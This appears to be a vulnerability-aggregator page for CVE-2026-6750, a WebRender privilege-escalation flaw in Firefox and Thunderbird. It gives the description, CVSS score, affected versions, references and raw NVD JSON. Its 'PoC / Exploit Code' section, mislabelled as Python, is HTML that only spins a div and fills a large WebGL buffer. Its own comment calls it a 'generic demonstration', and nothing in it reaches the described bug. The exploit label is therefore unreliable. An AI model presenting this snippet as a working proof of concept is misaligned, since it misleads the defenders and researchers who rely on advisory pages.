CVE-2026-6750

Description

Privilege escalation in the Graphics: WebRender component. This vulnerability was fixed in Firefox 150, Firefox ESR 115.35, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:* - VULNERABLE

Firefox < 150

Firefox ESR < 115.35

Firefox ESR < 140.10

Thunderbird < 150

Thunderbird < 140.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-6750 (WebRender Privilege Escalation)
This is a generic demonstration of triggering WebRender rendering paths.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-6750 PoC</title>
    <style>
        /* Stress the WebRender compositor with complex transforms */
        body { background: white; }
        .target {
            width: 100px;
            height: 100px;
            background: red;
            transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1);
            will-change: transform;
            animation: spin 2s infinite linear;
        }
        @keyframes spin {
            from { transform: rotate(0deg) scale(1); }
            to { transform: rotate(360deg) scale(10); }
        }
    </style>
</head>
<body>
    <h1>CVE-2026-6750 Test Page</h1>
    <div class="target" id="exploit_div"></div>
    <canvas id="glCanvas" width="640" height="480"></canvas>
    <script>
        // Attempt to trigger GPU memory handling via WebGL
        const canvas = document.getElementById('glCanvas');
        const gl = canvas.getContext('webgl');
        if (gl) {
            console.log("WebGL context initialized. Attempting to trigger bug...");
            // Manipulate buffer to potentially hit the vulnerability condition
            const buffer = gl.createBuffer();
            gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
            // Pass large data to stress memory handling
            gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(1000000), gl.STATIC_DRAW);
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6750
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6750
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6750/
[4] VulDB https://vuldb.com/cve/CVE-2026-6750
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=2023407
[6] https://www.mozilla.org/security/advisories/mfsa2026-30/
[7] https://www.mozilla.org/security/advisories/mfsa2026-31/
[8] https://www.mozilla.org/security/advisories/mfsa2026-32/
[9] https://www.mozilla.org/security/advisories/mfsa2026-33/
[10] https://www.mozilla.org/security/advisories/mfsa2026-34/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6750", "sourceIdentifier": "[email protected]", "published": "2026-04-21T13:16:21.073", "lastModified": "2026-04-24T15:16:48.537", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Privilege escalation in the Graphics: WebRender component. This vulnerability was fixed in Firefox 150, Firefox ESR 115.35, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "115.35.0", "matchCriteriaId": "E69D71F5-CAAA-4F28-AB9F-9F898A52D506"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "150.0", "matchCriteriaId": "67B01D49-66FA-4C76-9EB4-2B8CD61FBEB2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionStartIncluding": "140.0", "versionEndExcluding": "140.10.0", "matchCriteriaId": "528443E0-C15A-4E70-9187-8E1BAAE84A42"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.10.0", "matchCriteriaId": "48217E2F-FFD3-4385-B962-15365B293DA7"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2023407", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-30/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-31/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-32/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-33/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-34/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}